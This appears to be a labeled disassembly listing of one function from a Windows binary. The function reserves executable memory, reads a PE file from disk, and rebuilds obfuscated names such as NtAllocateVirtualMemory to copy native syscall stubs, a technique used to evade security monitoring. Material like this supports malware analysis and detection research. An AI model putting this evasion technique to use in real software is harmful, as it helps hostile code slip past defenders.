Function at 0x140003fa9
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5420
call fcn.140016250
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.1400152a0
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5378], eax
mov eax, dword [rbp + 0x5378]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov rax, qword [rbp + 0x52f0]
add rax, 0x17
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
add rax, 0x17
mov qword [rbp + 0x52e0], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x52d8], 0
mov dword [rbp + 0x52d4], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x52c8], 0
mov rax, qword [rbp + 0x5368]
mov qword [0x14012c038], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x14012c040], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x14012c048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x14012c050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x14012c058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x14012c060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x14012c068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x14012c070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x14012c078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x14012c080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x14012c088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x14012c090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x14012c098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x14012c0a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x14012c0a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x14012c0b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e8]
mov qword [0x14012c0b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e0]
mov qword [0x14012c0c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x140100548]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52d8], rax
mov rax, qword [rbp + 0x52d8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52d4], eax
mov ebx, dword [rbp + 0x52d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52c8], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x52d4]
mov rdx, qword [rbp + 0x52c8]
mov rax, qword [rbp + 0x52d8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52c8]
mov qword [rbp + 0x52c0], rax
mov rax, qword [rbp + 0x52c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x52b8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52b4], eax
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52b8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x52a8], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
mov dword [rbp + 0x538c], 0
jmp 0x1400046e7
mov rax, qword [rbp + 0x5398]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400046d8
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
jmp 0x1400046fd
add qword [rbp + 0x5398], 0x28
add dword [rbp + 0x538c], 1
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x538c], eax
jl 0x1400046ae
mov edx, dword [rbp + 0x52b4]
mov rax, qword [rbp + 0x52c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5390]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x52a0], rax
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x140100571]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140004ba3
lea rbx, [0x14010058b]
jmp 0x140004baa
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140004fee
lea rbx, [0x14010058b]
jmp 0x140004ff5
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x1401005ab]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140005491
lea rbx, [0x14010058b]
jmp 0x140005498
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x1401005ad]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
